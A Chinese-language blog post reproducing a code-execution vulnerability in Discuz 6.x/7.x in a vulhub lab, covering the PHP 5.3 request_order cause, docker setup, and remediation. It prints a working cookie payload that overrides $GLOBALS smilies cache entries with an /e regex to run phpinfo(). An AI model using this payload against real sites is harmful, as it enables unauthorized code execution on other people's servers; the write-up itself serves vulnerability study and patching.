Discuz 6、7 版本存在全域性變數防禦繞過導致程式碼執行漏洞

半盞時光、舊夢悠長發表於2020-09-28

Discuz 6、7 版本存在全域性變數防禦繞過導致程式碼執行漏洞

影響版本:6.x、7.x

產生原因:由於php5.3.x版本里php.ini的設定裡request_order預設值為GP,導致$_REQUEST中不再包含$_COOKIE,我們通過在Cookie中傳入$GLOBALS來覆蓋全域性變數,造成程式碼執行漏洞。

前置條件: php5.3、php5.6

使用vulhub靶場復現此漏洞

構建環境

docker-compose up -d

訪問

http://yourip:8080/

在這裡插入圖片描述

訪問以下路徑,進行安裝

http://yourip:8080/install

資料服務庫伺服器:db,使用者名稱root,密碼root
在這裡插入圖片描述
安裝成功,進入discuz首頁,如圖:

在這裡插入圖片描述
進入預設模組如下圖:

在這裡插入圖片描述
進入任何一個帖子,抓取資料包,在cookie中構造pyload

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

如下圖:

在這裡插入圖片描述
結果成功執行了命令,返回了php環境資訊,如下圖:

在這裡插入圖片描述

漏洞修復

1、修改php.ini配置引數 request_order = “CGP”
2、升級discuz版本

相關文章